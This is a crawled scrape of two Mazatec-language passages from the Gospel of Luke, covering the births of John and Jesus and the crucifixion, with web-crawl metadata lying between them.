kixi̱‑ní ngajòo̱ ya̱ ngixko̱n Nainá. Síhitjasòn ijyeé nga'tsì kjo̱téxoma‑la̱ Nainá. 7Tsìn‑la̱ i̱xti; jè Elisabet, chjo̱ón 'ndi̱‑ní; ko̱ ijyeé 'ñó xi̱ta̱ jchínga ngajòo̱. 8Jngo ni̱chjin, jñà na̱'mì ra síxákjo‑ko̱ Zacarías, jñá tsako̱‑la̱ nga isíxá ya̱ ngixko̱n Nainá. 9Koni 'sín tjín kjo̱téxoma 'tse̱ na̱'mì Israel, jé Zacarías tsako̱‑la̱ suerte nga 'jaha'sen ya̱ ni'ya tsje‑la̱ Nainá, ya̱ a̱ya i̱ngo̱ ítjòn, nga jè ko̱kà chrjongó Nainá. 10'Kia̱ nga títì chrjongó Nainá, nga'tsì xi̱ta̱ na̱xi̱ndá, ya̱á i̱nchibítsa'ba ya̱ ndi̱tsiaán. 11Jngo ìkja̱li̱ 'tse̱ Nainá tsatsíjen‑la̱ jè Zacarías ra síjna ya̱ nga kixi̱‑la̱ ñánda̱ nga tì chrjongó Nainá. 12'Kia̱ kijtse, sí ta kjóxkón‑la̱, ko̱ ta itsakjón‑ní. 13Tanga jè ìkja̱li̱ kitsó‑la̱: ―Zacarías, kì tà chjàn skon‑jìn; jè kjoa̱ bítsa'ba‑li ijyeé ina'yá‑la̱; jè chjo̱ón‑li Elisabet, jngo ndí i'ndí 'xi̱n jtsín‑la̱; 'koa̱á 'sín kí'ta 'í‑la̱ nga Juan 'kín. 14'Ñó 'se̱‑li kjo̱tsja. Tà nga̱tjì‑la̱ jè i'ndí ra jtsín, kjín xi̱ta̱ ko̱tsja‑la̱. 15Xi̱ta̱ ítjòn kíjna ya̱ ngixko̱n Nainá; mì tsa xán sk'í nga xá 'koa̱á 'sín ijye itjahájin‑ni; Inìma̱ Tsje‑la̱ Nainá si̱jin inìma̱‑la̱ skanda 'kia̱ nga ti̱kje tsìn. 16Ra a̱'ta 'tse̱, kjín xi̱ta̱ na̱xi̱ndá Israel koa̱áfa'ta‑la̱ Nainá. 17Jè ko̱jme ítjòn‑la̱ Na̱'ín‑ná. Jé si̱jin inìma̱‑la̱ jè nga'ñó ra isìchjeén jè Elías 'kia̱ nga kiìchja̱ ngajo‑la̱ Nainá. 'Nchán si̱ìkítsa̱jna jñà xi̱ta̱ jchínga ko̱ i̱xti‑la̱ nga si̱ijo̱ónda‑ni. Jñà xi̱ta̱ ra tájajín inìma̱‑la̱ nga mì kì síhitjasòn, si̱ìkaatjìyaá‑la̱ kjo̱bítsjen‑la̱ mé‑ni nga 'se̱‑la̱ kjo̱chji̱ne̱ ra tjín‑la̱ xi̱ta̱ kixi̱. 'Koa̱á 'sín si̱ìkíhijyonda xi̱ta̱ na̱xi̱ndá mé‑ni nga kítsa̱jnanda‑ni 'kia̱ nga kj'i̱í Na̱'ín‑ná. 18Zacarías kitsó‑la̱ jè ìkja̱li̱: ―Kó'sín ske‑na tsa kixi̱ kjoa̱. 'A̱n, ijyeé 'ñó xi̱ta̱ jchínga; ti̱'koa̱á jè chjo̱ón‑na̱ ijyeé tsato ni̱chjin‑la̱ nga ma 'se̱‑la̱ i̱xti. 19Jè ìkja̱li̱ kitsó‑la̱: ―'A̱n‑ná ra 'mì‑na Gabriel, ra ya̱ tíjna̱ ya̱ ngixko̱n Nainá; jé kàsíkasén‑na mé‑ni nga kokó‑la nga tsja‑la jè 'én ra nda tsò. 20'Ndi̱ 'ndi̱, mì kì ti̱ ma ki̱nákjoa̱‑nì skanda 'kia̱ nga ki̱jchò ni̱chjin nga ki̱tjasòn jñà 'én kìi̱, tà nga̱tjì‑la̱ nga mì kì kàmakjiín‑li 'én ra ko̱kàxin‑la. 21Jñà xi̱ta̱ na̱xi̱ndá, i̱nchikoñá‑la̱ Zacarías. Kjonangi‑la̱ xákjén, mé‑ni nga ta̱ nda tífichjin‑la̱ nga mì kì ndi̱to̱n bitjo‑ni ya̱ ni'ya tsje‑la̱ Nainá. 22'Kia̱ nga itjo‑ni mì kì ti̱ ma chja̱‑ni; jñà xi̱ta̱ ti̱'kia̱á kjòchi̱ya‑la̱ nga tjín kjoa̱ ra kijtse ya̱ a̱ya ni'ya tsje‑la̱ Nainá; Zacarías, tà tsja bakón‑isa. 'Koa̱á 'sín tsikijna nga mì ti̱ kì kjomà kiìchja̱‑nì. 23'Kia̱ nga ijye ijye ni̱chjin‑la̱ Zacarías nga isìhitjasòn xá‑la̱, kijí‑ni ni'ya‑la̱. 24'Kia̱ nga kjomà a̱skan‑nioo̱, jè Elisabet ndí i'ndí isìhi'ma‑la̱. 'Òn sá tsikijna'ya ya̱ ni'ya‑la̱. Kitsò: 25\"'Koa̱á 'sín isìko̱‑na Nainá ra a̱'ta tsa̱'a̱n nga kijtse i̱ma̱á‑na, kitsjá‑na kjo̱nda mé‑ni mì ti̱ kì ko̱chrjengi‑na jñà xi̱ta̱.\" 26'Kia̱ nga ijchò jon sá, Nainá, isìkasén jè ìkja̱li̱ Gabriel ya̱ jngo na̱xi̱ndá ra 'mì Nazaret ra chja̱‑ni Galilea. 27Kiìjkon jngo chjo̱ón xa̱ngó ra ijye tíjna'ñó nga jè ki̱xan‑ko̱ jngo xi̱ta̱ ra 'mì José ra tje̱‑la̱ David ma. Jè chjo̱ón xa̱ngó ra̱kìi̱, María 'mì. 28Jè ìkja̱li̱, 'kia̱ nga 'jaha'sen ya̱ ni'ya‑la̱ María, kitsó‑la̱: ―¡Nda‑li Na̱a, ngaji̱ ra itjábé‑li jè kjo̱nda ra̱kìi̱! Jé Nainá tíjnako̱‑li. Ngaji̱ ra isa̱ nda kjòchikon'tin mì 'koa̱‑ni koni jñà íchjín ra kj'ií. 29Jè María, 'kia̱ nga kijtsexkon, tà kjóxkón‑la̱ koni 'sín kitsò‑la̱ jè ìkja̱li̱; isíkítsjen‑ní kótsò‑ni nga ko̱'sín 'jiìjkón. 30Jè ìkja̱li̱ kitsó‑la̱: ―Ji̱ María, kì tà chjàn skon‑jìn, ijyeé itjábé‑li kjo̱nda ya̱ ngixko̱n Nainá. 31'Ndi̱ 'ndi̱ ko̱'xkén‑ní, i'ndí si̱ya'ma‑li. 'Koa̱á 'sín kí'ta 'í‑la̱ nga Jesús 'kín. 32Xi̱ta̱ ítjòn ko̱ma; i'ndí‑la̱ Nainá 'kín ra isa̱ 'ñó 'nga tíjna; Nainá, jé si̱ìnga̱tsja kjo̱téxoma. Xi̱ta̱xá ítjòn kíjna koni 'sín tsikijna David ra xi̱ta̱ jchínga‑la̱ kjomà. 33Jé ko̱tèxoma‑la̱ na̱xi̱ndá Israel. Kjo̱téxoma‑la̱ mì kì kje̱he'tà skanda tà mé ni̱chjin‑nioo̱. 34Jè María 'kia̱á kitsò‑la̱ ìkja̱li̱: ―¿Kó'sín ko̱ma‑la̱ jè kjoa̱ ra ko̱'mì‑ná? Nga̱ mì tsa 'xi̱n tjín‑na. 35―Jé Inìma̱ Tsje‑la̱ Nainá kj'i̱í kanè‑li ―kitsó jè ìkja̱li̱―; jé nga'ñó‑la̱ Nainá ra 'ñó 'nga tíjna ki̱ijtsa'tin‑li koni jngo 'ngién‑la̱ ifi mé‑ni nga jè i'ndí tsje ra jtsín, I'ndí‑la̱ Nainá 'kín. 36Jè chjo̱ón xàngi̱i ra 'mì Elisabet ra chjo̱ón 'ndi̱, kjo joón sá tjíya'ma‑la̱ ndí i'ndí ni̱'sín ijye 'ñó jchínga. 37Ni̱jngo kjoa̱ ra mì kì ma, ra a̱'ta 'tse̱ Nainá. 38'Kia̱á kitsò María: ―Chjo̱ón chi̱'nda‑la̱ Nainá‑ná ra 'a̱n; ko̱'sín katama koni 'sín kà'mí‑ná. Jè ìkja̱li̱ ti̱ a̱ngi xko̱ón‑ni ichijà. 39Jñà ni̱chjin kìi̱, jè María ndi̱to̱ón kijì jngo na̱xi̱ndá ra kjijna'nchò nindo ya̱ ján nangi Judea. 40'Jaha'sen ya̱ ni'ya‑la̱ Zacarías; isíkjáya‑la̱ jè Elisabet. 41'Kia̱ kií'nchré Elisabet nga isíkjáya‑la̱ María, jè i'ndí ra tjíhi'ma‑la̱, ngi iskì'ngaya i̱ndsi̱'ba̱. Jè Inìma̱ Tsje‑la̱ Nainá 'jaha'sen‑jin ya̱ inìma̱‑la̱ Elisabet. 42'Kia̱á 'ñó kiìchja̱, kitsò: ―¡Nainá, isa̱á 'ñó nda tísíchikon'tin‑li mì 'koa̱‑ni koni jñà íchjín ra kj'ií; ti̱'koa̱á i'ndí‑li ra tjíhi'ma‑li 'ñó nda tímahachikon'tin! 43¡Yá‑na ra 'a̱n nga ta̱ nda kà'fìi̱jchon‑ná ji̱ ra na̱‑la̱ Na̱'ín‑ná 'mì‑li! 44Ti̱'kia̱á‑ni nga ka'nchre nga kàníkjáya‑ná, jè i'ndí‑na̱ kàkjì'ngayaá ya̱ i̱ndsi̱'bà nga kàmatsja‑la̱. 45Mé ta̱ nda‑ni nga makjiín‑li 'én ra ki'sena̱jmí‑li. Jè 'én ra kiìchja̱ Nainá, ki̱tjasón‑ní. 46'Kia̱á kitsò María: Inìma̱‑na̱ 'ñó 'nga síkíjna Nainá. 47Matsjaá‑na a̱'ta 'tse̱ Nainá ra bachrjetjì‑na kjo̱hi'in. 48Nga̱ kijtse i̱ma̱á‑na, 'a̱n ra chjo̱ón chi̱'nda‑la̱ ma. 'Ndi̱ 'ndi̱‑ni̱ ko̱ skanda ta̱ kjiá‑nioo̱, 'koa̱á 'sín ki̱tso̱‑na jñà xi̱ta̱: \"Mé ta̱ nda‑la̱.\" 49Nga̱ 'ñó tse kjoa̱ isìko̱‑na jè Nainá ra ta jè ta̱jngo‑ni ra 'ñó tse nga'ñó tjín‑la̱. Nainá, xi̱ta̱ tsje‑ní. 50Ko̱ tjín ki'tá‑la̱ kjo̱hi̱ma̱takòn skanda ta mé ni̱chjin‑ni a̱'ta 'tse̱ xi̱ta̱ ra bexkón. 51'Koa̱á 'sín 'sín: nga bakón kó'ki tse nga'ñó tjín‑la̱; jñà xi̱ta̱ ra 'ñó 'nga ikon, bachrjengií kjo̱bítsjen‑la̱. 52Jñà xi̱ta̱xá ítjòn ra 'nga tjítsa̱jna, faháxìn kjo̱téxoma‑la̱, ko̱ jñà ra nangi tjítsa̱jna isa̱á 'nga síkítsa̱jna‑ni. 53Jñà xi̱ta̱ ra tsìn‑la̱ tsajmì ra kjine, 'ñó kjìn tsjá‑la̱, ko̱ jñà xi̱ta̱ nchi̱ná síkasén tiya‑ni. 54Nainá basìko̱ò na̱xi̱ndá Israel nga chi̱'nda‑la̱ ma; mì kì síjchaàjin kjo̱hi̱ma̱takòn ra tjín‑la̱ skanda ta mé ni̱chjin‑nì, 55'koa̱á 'sín kitsjá‑la̱ tsa'ba jñà xi̱ta̱ jchínga‑ná ra a̱'ta 'tse̱ Abraham ko̱ nga'tsì jñà tje̱‑la̱. 56Jè María, jàn sá tsikijnako̱ Elisabet; ra kjomà a̱skan‑nioo̱, kijí‑ni ni'ya‑la̱. 57'Kia̱ nga ijye ijchò ni̱chjin‑la̱, Elisabet jngo ndí i'ndí 'xi̱n kitsin‑la̱. 58Jè Nainá, 'ñó nda isìko̱. 'Kia̱ nga kií'nchré jñà xi̱ta̱ xákjén, ko̱ jñà xi̱ta̱ a̱ndi ni'ya‑la̱ ti̱'koa̱á kjotsjaá‑la̱. 59Ra kjomà jin ni̱chjin, kiìko̱ó jè i'ndí‑la̱ ya̱ ngixko̱n na̱'mì mé‑ni nga si̱'ta chi̱ba̱‑ni ijo‑la̱ kjoa̱ 'tse̱ circuncisión. Jñà xi̱ta̱, 'koa̱á 'sín mejèn‑la̱ ki̱i'tà 'í‑la̱ koni 'sín 'mì na̱'ìn‑la̱ nga Zacarías 'mì. 60Tanga jè na̱‑la̱ kitsó‑ní: ―Majìn, Juan 'kín. 61Kitsó jñà xi̱ta̱ ra tjítsa̱jna: ―¿Mé‑ni ko̱'sín 'kín‑ni? Ni̱jngo xi̱ta̱ xàngi̱i ra ko̱'sín 'mì. 62'Kia̱á itjanangi‑la̱ jè na̱'ìn‑la̱, isìkjahatji‑la̱ tsja jñà xi̱ta̱ nga katakón kó'sín 'kín. 63Jngo íte isíjé jè Zacarías, a̱kjòn tsikínda'tá: \"Jè 'í‑la̱, Juan 'mì.\" Nga'tsì jñà xi̱ta̱, tà 'koa̱á kjomà‑la̱. 64Ti̱jé‑nì hora, Zacarías, kjomá kiìchja̱‑ni. 'Kia̱á kitsjá‑la̱ kjo̱nda Nainá. 65Nga'tsì xi̱ta̱ ra tjítsa̱jna chraña a̱ndi ni'ya‑la̱ tà kjóxkón‑la̱ 'kia̱ nga kií'nchré nga ijye kjomà kiìchja̱‑ni Zacarías. Jndíi̱ ra ján tsabísòn kjoa̱ kìi̱ kóho'ki a̱'nchò nindo nangi Judea. 66Nga'tsì xi̱ta̱ ra kií'nchré kjoa̱ kìi̱, isíkítsjen a̱jin inìma̱‑la̱; kitsò: ―Jè i'ndí ra̱kìi̱, 'kia̱ nga ko̱jchínga, yá xi̱ta̱ ra ko̱ma. Ko̱ jè nga'ñó‑la̱ Nainá tíjnako̱ i'ndí ra̱kìi̱. 67Zacarías, nga nda tjíjin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, kiìchja̱ ngajo‑la̱ Nainá, nga kitsò: 68¡Mé ta̱ nda 'ki‑la̱ jè Na̱'ín‑ná jè ra Nainá tsò‑la̱ na̱xi̱ndá Israel nga 'jií kíchjítjì na̱xi̱ndá‑la̱ ti̱'koa̱ 'ji síkítsa̱jnandi̱í‑ni! 69Kitsjá jngo‑ná xi̱ta̱ ra tse nga'ñó tjín‑la̱ nga 'jií kachrjejin‑ná kjo̱hi'in ra kjoa̱ 'tse̱ jé‑ná, jè ra ya̱ nchrabá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David ra chi̱'nda‑la̱ Nainá kjomà. 70Nainá, jñá isìchjeén jñà xi̱ta̱ tsje‑la̱ ra kiìchja̱ ngajo‑la̱. 'Koa̱á 'sín kitsò nga ti̱'sa̱ tjà'tsin‑la̱ kjoa̱ 71nga ko̱chrjetjì‑ná a̱'ta 'tse̱ xi̱ta̱ kondra̱‑ná, ko̱ xi̱ta̱ ra jtike‑ná. 72'Koa̱á ti̱ kitsò Nainá nga ske̱ i̱ma̱á jñà xi̱ta̱ jchínga‑ná. Mì kì si̱ìjchàhajin jñà 'én ra ijye kitsjà‑la̱ xi̱ta̱ jchínga‑ná Abraham 'kia̱ nga tsikíndajín jngo kjoa̱ ra tsje tjín. 73Nainá, 'koa̱á 'sín kitsjà kixi̱ tsa'ba 74nga si̱ìkítsa̱jnandi̱í‑ná a̱'ta 'tse̱ xi̱ta̱ kondra̱‑ná, mé‑ni nga mì kì ki̱skén nga si̱xá'ta‑lá. 75Kji'tá ni̱chjin, nga tsje, ko̱ kixi̱ ki̱tsa̱jneé ya̱ ngixko̱n Nainá. 76'Kia̱á kitsò‑la̱ i'ndí‑la̱: Ji̱ ndí 'xi̱n, ji̱í si̱ìchjeén‑li Nainá ra 'ñó 'nga tíjna nga ki̱nákjoa̱ ngajo‑la̱. Ji̱í 'kín ítjòn‑la̱ Na̱'ín‑ná nga kíndi ndi̱yá‑la̱. 77'Kéna̱jmí‑la̱ na̱xi̱ndá‑la̱ kó'sín 'si̱in Nainá nga ko̱chrjetjì, ko̱ nga si̱hijcha'ta‑la̱ jñà jé ra tjín‑la̱ 78ta nga̱tjì‑la̱ nga 'ñó tse kjo̱hi̱ma̱takòn ra tjín‑la̱. Si̱ìkasén jngo‑ná ra ngajmi nchrabá‑ni. 'Kia̱ nga kj'i̱í, 'koa̱á 'sín si̱hisen koni 'sín mahisen 'kia̱ nga ta̱jñòya. 79Ko̱hiseén‑la̱ jñà xi̱ta̱ ra i̱'nde jñò tjítsa̱jnajin ko̱ jñà ra ijye ndi̱yá kjo̱biya tjímaya. Ya̱á i̱ko̱‑ná jè ndi̱yá ñánda̱ tjín kjo̱'nchán. 80Jè i'ndí ra̱kìi̱, tímajchínga‑ní ti̱'koa̱ tí'se‑la̱ nga'ñó inìma̱‑la̱. Ko̱ ya̱á tsikijna ya̱ nangi kixì ñánda̱ ni̱mé tjín skanda 'kia̱ nga tsikí'tsia̱ nga tsikijna masen‑la̱ na̱xi̱ndá Israel.\nSan Lucas Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/","date":"2013-12-07T13:58:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054576\/warc\/CC-MAIN-20131204131734-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":1481,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsasítje̱n ngats'iì xi̱ta̱, kiìko̱ Jesús ñánda tíjna Pilato. 2K'e̱ nga ijchòko̱ nguixko̱n Pilato, jñà xi̱ta̱ tsibíts'ia̱ nga tsohóngui, kitsò: ―Xi̱ta̱ jè, kjòtsji‑naje̱n nga kj'ei̱í ndi̱yá fìko̱ na̱xa̱ndá‑ná. Tsò‑né nga mì xó kiì kíchjítjiá tsojmì xi i̱t'aà ts'e̱ César, xi̱ta̱xá ítjòn ts'e̱ Roma; ti̱koa̱á tsò‑né nga jè xó xi Cristo [xi xó kisìkasén‑ne Nainá] nga xi̱ta̱xá ítjòn kíjna. 3Jè Pilato kiskònangui, kitsò‑la̱: ―¿A ji̱‑né xi xi̱ta̱xá ítjòn‑la̱ jñà xi̱ta̱ judío? Kitsò Jesús: ―Ngaji̱í xi k'oa̱ si nga 'a̱n‑ná. 4Pilato kitsò‑la̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ na̱xa̱ndá: ―Ni̱mé jé xi matsji‑na i̱t'aà ts'e̱ xi̱ta̱ jè. 5Ta̱nga jñà xi̱ta̱, ìsa̱á 'ñó kiìchja̱ nga tsohóngui, kitsò: ―Kj'ei̱í s'ín okóya‑la̱ xi̱ta̱ na̱xa̱ndá nga ótsji‑la̱ kjoa̱siì. Tsibíts'ia̱‑ne nangui Galilea, kóho̱kji nangui Judea, skanda i̱ Jerusalén. 6K'e̱ nga kiì'nchré Pilato jè 'én xi tsò, Galilea, kiskònangui‑la̱ xi̱ta̱: ¿A ya̱á i̱'nde‑la̱? 7K'e̱ nga kis'eno̱jmí‑la̱ nga ya̱ i̱'nde‑la̱, kisìkasén‑la̱ jè xi̱ta̱ xi tíjna xi̱ta̱xá ítjòn Galilea xi 'mì Herodes; jñà na̱chrjein koi, ti̱koa̱á ján tíjna na̱xa̱ndá Jerusalén. 8Herodes, k'e̱ nga kijtseèxkon Jesús, 'ñó tsja komà‑la̱ nga kjòtseé mejèn‑la̱ nga skoe̱xkon, nga jyeé kjìn kjoa̱ kiì'nchré xi i̱t'aà ts'e̱. Mejèn‑la̱ skoe̱ jngoò kjo̱xkón xi s'ín. 9Kjìn sko̱ya kjoa̱ kiskònangui‑la̱, ta̱nga jè Jesús, ni̱jngoò 'én kiìchja̱. 10Ti̱koa̱á ya̱á títsa̱jna jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés nga 'ñó nchihóngui. 11Jè Herodes ko̱ soldado‑la̱ tsachrjekàngui‑né; kisìkákjá nikje xi 'ñó ndaà kjoàn koni ts'e̱ xi̱ta̱xá ítjòn nga kisìsobà‑la̱; i̱kjoàn kisìkasén ìjngoò k'a‑la̱ jè Pilato. 12Na̱chrjein jè, tsajoóndaà‑ne jè Pilato ko̱ Herodes; k'e̱ nga sa̱ ítjòn, kondra̱á títsa̱jna‑la̱ xíkjín. 13Pilato tsibíxkóya jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ jñà xi̱ta̱xá, ngats'iì xi̱ta̱ na̱xa̱ndá, 14kitsò‑la̱: ―Jñò, kinìkasén‑ná xi̱ta̱ jè nga onguioò; bixón‑nó nga kjoa̱siì ótsji‑la̱ xi̱ta̱ na̱xa̱ndá; ta̱nga 'a̱n, kiskònanguií‑la̱ nga nguixkoòn; ngats'iì 'én xi 'bioò, ni̱mé jé sakó‑na i̱t'aà ts'e̱. 15'Ti̱koa̱á jè Herodes, kisìkasén ìjngoò k'a‑na xi̱ta̱ jè nga ni̱mé jé kisakòt'aà‑la̱. Tsjìn‑la̱ jé nga ki̱yá. 16Tsjaà‑la̱ kjo̱'in, i̱kjoàn siìkíjnandei̱í‑na. 17K'oa̱á s'ín tjínè‑la̱, k'e̱ nga bitjo s'eí Paxko̱, bìjnandei̱í jngoò xi̱ta̱ xi nda̱yá títsa̱jna'ya. 18Ta̱nga jñà xi̱ta̱ na̱xa̱ndá, tà jngoò jta̱á kiì ngats'iì, kitsò: ―¡Kàtiyaà Jesús; ti̱kíjnandei̱í‑náje̱n Barrabás! 19Barrabás, nda̱yá tíjna koií kjoa̱‑la̱ nga xi̱ta̱ na̱xa̱ndá Jerusalén kisìkjaán‑kjoò ti̱koa̱ xi̱ta̱ kisìk'en jngoò. 20Pilato, mejèn‑la̱ nga si̱ìkíjnandei̱í Jesús; ìjngoò k'a kiìchja̱‑la̱ xi̱ta̱ na̱xa̱ndá. 21Ta̱nga jñà xi̱ta̱ na̱xa̱ndá, ìsa̱á 'ñó kiìchja̱, kitsò: ―¡Tjat'aà krò! ¡Tjat'aà krò! 22Xi ma‑ne jàn k'a kitsò‑la̱ xi̱ta̱ na̱xa̱ndá: ―¿Mé jé xi tsohótsji, mé‑ne ki̱yá‑ne? 'A̱n, ni̱mé jé sakó‑na xi i̱t'aà ts'e̱ nga ki̱yá. Ti̱koa̱á‑ne tsjaà‑la̱ kjo̱'in, i̱kjoàn siìkíjnandei̱í‑na. 23Siì kis'iìn xi̱ta̱, 'ñó kiìchja̱ nga mejèn‑la̱ krò si̱t'aà Jesús. Koií kjoa̱‑la̱ nga 'ñó chja̱ xi̱ta̱ na̱xa̱ndá ko̱ xi̱ta̱ sko̱‑la̱ no̱'miì, kisìkijne nga kisìkitasòn Pilato. 24Jè Pilato kitsjaà o̱kixi̱ nga kàtitasòn koni s'ín síjé xi̱ta̱ na̱xa̱ndá. 25Kisìkíjnandei̱í Barrabás, xi̱ta̱ xi xó k'oa̱s'ín kisìjé‑ne na̱xa̱ndá xi tíjna'ya nda̱yá nga kjoa̱siì tsohótsji koa̱ xi̱ta̱ kisìk'en. I̱kjoàn kisìnga̱tsja Jesús nga k'oa̱s'ín kàtasíko̱ koni s'ín mejèn‑la̱. 26K'e̱ nga kiìko̱ Jesús nga kiì sík'en i̱t'aà krò, kitsobà'ñó jngoò xi̱ta̱ xi tínchrobá‑ne rancho̱‑la̱ xi 'mì Simón xi ya̱ i̱'nde‑la̱ ñánda 'mì Cirene; jè kisìk'ajen krò nga kiìtji̱nguiko̱‑la̱ Jesús. 27Kjìn xi̱ta̱ na̱xa̱ndá tji̱ngui‑la̱, ti̱koa̱á kjìn íchjín tji̱ngui‑la̱ xi kjindáyakeè nga mahi̱ma̱keè kjoa̱ xi tímat'in Jesús. 28Jesús, kisìkátji, kiskoòtsejèn‑la̱, kitsò: ―Íchjín xi Jerusalén tsa̱jòn, kì 'a̱n chìhindáyachaà‑ná, chìhindáyachaà yijo‑nò ko̱ ts'e̱ i̱xti‑nò. 29Ki̱jchò na̱chrjein k'e̱ nga tse kjo̱'in s'e̱ nga ki̱tso̱ xi̱ta̱: \"Mé tà ndaà‑la̱ jñà íchjín xi 'ndi̱, xi tsjìn‑la̱ i̱xti, xi mìkiì ki'ndí tsi'beé, xi mì i̱xti kisìkaki nga ìsa̱á chiba si̱ìkájno.\" 30I̱kjoàn koi̱ìts'ia̱ nga ki̱tso̱‑la̱ nindoò: \"¡Kàtakaànè‑naje̱n!\" K'oa̱ ti̱ ki̱tso̱‑la̱ chrja̱ngui̱‑la̱ nindoò: \"¡Tìjtsa'nde‑náje̱n!\" 31'A̱n, koni jngoò yá xkoén, ta̱nga 'ñó ch'o síko̱‑na xi̱ta̱; jñò xi xi̱ta̱ Jerusalén tsa̱jòn, ìsa̱á tà 'ñó ch'o si̱ìko̱‑nò xi̱ta̱ koni jñà yá kixì. 32Ti̱koa̱ kiìko̱ jò xi̱ta̱ xi tse jé tjín‑la̱ nga ti̱koa̱ krò ki̱yát'aà. 33K'e̱ nga ijchòko̱ ya̱ i̱'nde ñánda 'mì I̱'nde Sko̱ Mik'en, tsasíjnat'aà krò Jesús ko̱ xi̱ta̱ xi jò ma‑ne, jñà xi tse jé tjín‑la̱; jngoò, tsasíjnat'aà nga kixi̱‑la̱ koa̱ jngoò, tsasíjnat'aà nga ngaskón‑la̱. 34K'e̱é kitsò Jesús: ―Na̱'èn, ti̱jchàat'aà‑la̱; mìkiì beè mé kjoa̱ xi s'ín. I̱kjoàn jñà soldado kisìskáko̱ nikje‑la̱ Jesús nga kisìka'bí‑la̱ xíkjín yá ts'e̱ ko̱ma. 35Jñà xi̱ta̱ na̱xa̱ndá nchikotsejèn‑la̱; ti̱koa̱ jñà xi̱ta̱xá ítjòn nchisísobà‑la̱, nchitsò: ―Xi̱ta̱ xi kj'ei̱í tsachrjetjì kjo̱'in; tsà kixi̱ kjoa̱ nga jè xi Cristo xi xó k'oa̱s'ín jaàjiìn‑ne Nainá, kàtachrjetjì kjo̱'in yijo‑la̱. 36Ti̱koa̱á jñà soldado kisìsobà‑la̱ Jesús. Ijchò kinchat'aà chrañà‑la̱; kitsjaà‑la̱ nandá vinagre nga si̱ìkiì. 37Kitsò‑la̱: ―¡Tsà ji̱‑né xi xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío, ti̱kíjnandei̱í yijo‑lè! 38Ti̱koa̱ tjít'aàsòn‑la̱ sko̱ krò xi 'én griego, 'én latín, ko̱ 'én hebreo xi tsò: \"Jè jèe̱ xi Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío.\" 39Jñà xi̱ta̱ xi tse jé tjín‑la̱ xi ti̱koa̱ ya̱ tjo̱hónguit'aà krò, jngoò xi 'ñó 'nga kiìchja̱ko̱ Jesús, kitsò‑la̱: ―¡Tsà ji̱‑né xi Cristo [xi xó kisìkasén‑lè Nainá], ti̱kíjnandei̱í yijo‑lè ti̱koa̱ ti̱kítsa̱jnandei̱í‑náje̱n! 40Jè xi̱ta̱ xi ìjngoò tsohótiko̱ xíkjín, kitsò‑la̱: ―¿A mì tsakjoòn‑la̱ Nainá nga ngásòn kjo̱'in titsa̱nìkjiaán? 41Xi o̱kixi̱, jñá ok'ín‑ná nga si̱kjiaán kjo̱'in nga kíchjiá jé‑ná, koi kjoa̱‑la̱ nga 'ñó ch'o ki'né; ta̱nga jè xi̱ta̱ jè, ni̱mé xi ch'o kis'iìn. 42K'e̱é kitsò‑la̱ Jesús: ―Ti̱kítsjeèn‑ná k'e̱ nga jye kíts'i̱i nga ko̱ti̱xomai. 43K'e̱é kitsò Jesús: ―O̱kixi̱í xi xan‑lè; i̱'ndei̱, ján ki̱jnako̱‑ná ngajmiì ya̱ i̱'nde ñánda 'ñó ndaà choòn. 44K'e̱ nga ijchò nchisen, kòjñò nga tíjtsa i̱sò'nde skanda xi jàn nga nguixòn. 45Jè ts'oí, kòjñò, koa̱ jè nikje xi tjo̱hóya jngohosen i̱ngo̱ ítjòn, jòya komà nga kixojndà. 46Jesús 'ñó kiìchja̱, kitsò: ―¡Na̱'èn, ndsei̱i bíjnaya ini̱ma̱‑na̱! K'e̱ nga jye o̱kitsò, k'en. 47Jè xi̱ta̱ sko̱‑la̱ soldado, k'e̱ nga kijtseè kjoa̱ koi koni s'ín komà, kijtseèxkón Nainá, kitsò: ―Kixi̱í kjoa̱, xi̱ta̱ jè, xi̱ta̱ kixi̱‑né. 48Ngats'iì xi̱ta̱ xi chixoña nga nchikotsejèn, k'e̱ nga jye kijtseè kjoa̱ xi komà, kiì‑ne ni'ya‑la̱; kisìjts'iìn‑sòn ini̱ma̱‑la̱ nga 'ñó tse kjoa̱ba kis'ejiìn ini̱ma̱‑la̱. 49Ngats'iì xi̱ta̱ xi beèxkon Jesús ko̱ íchjín xi inchrobà‑tji̱ngui‑la̱ skanda ján Galilea, kjiìn jncha‑ne nga nchikotsejèn‑la̱. 50Tíjna jngoò xi̱ta̱ xi 'mì José xi 'ñó ndaà xi̱ta̱, ti̱koa̱á xi̱ta̱ kixi̱‑né. Ya̱á i̱'nde‑la̱ ñánda 'mì Arimatea, jngoò na̱xa̱ndá xi chja̱‑ne Judea. Ti̱koa̱á xá ítjòn tjín‑la̱ ts'e̱ xi̱ta̱ judío. 51Jè José, ti̱koa̱á tíkoñaá‑la̱ nga mejèn‑la̱ skoe̱ kó s'ín otíxoma Nainá; mìkiì tíjngoò‑ikon koni s'ín tsajoóya‑ne xi̱ta̱xá xíkjín koni s'ín kisìko̱ Jesús. 52Kiìkon Pilato; kiì síjé'nde‑la̱ nga kji̱nchrobàko̱ yijo‑la̱ Jesús. 53Kiskónáje̱n‑t'aà krò; kisìkájté jngoò nikje lino chroba. I̱kjoàn kiì kíhijiìn. Kiskinìs'en‑ngui jngoò nga̱jo̱ mik'en ñánda nga xó k'oa̱s'ín kitáx'a̱‑ne na̱xi̱. I̱'nde jè, ni̱ sa̱á jngoò mik'en sihijiìn. 54Na̱chrjein jè, víspera‑la̱ s'eí Paxko̱‑né; jye 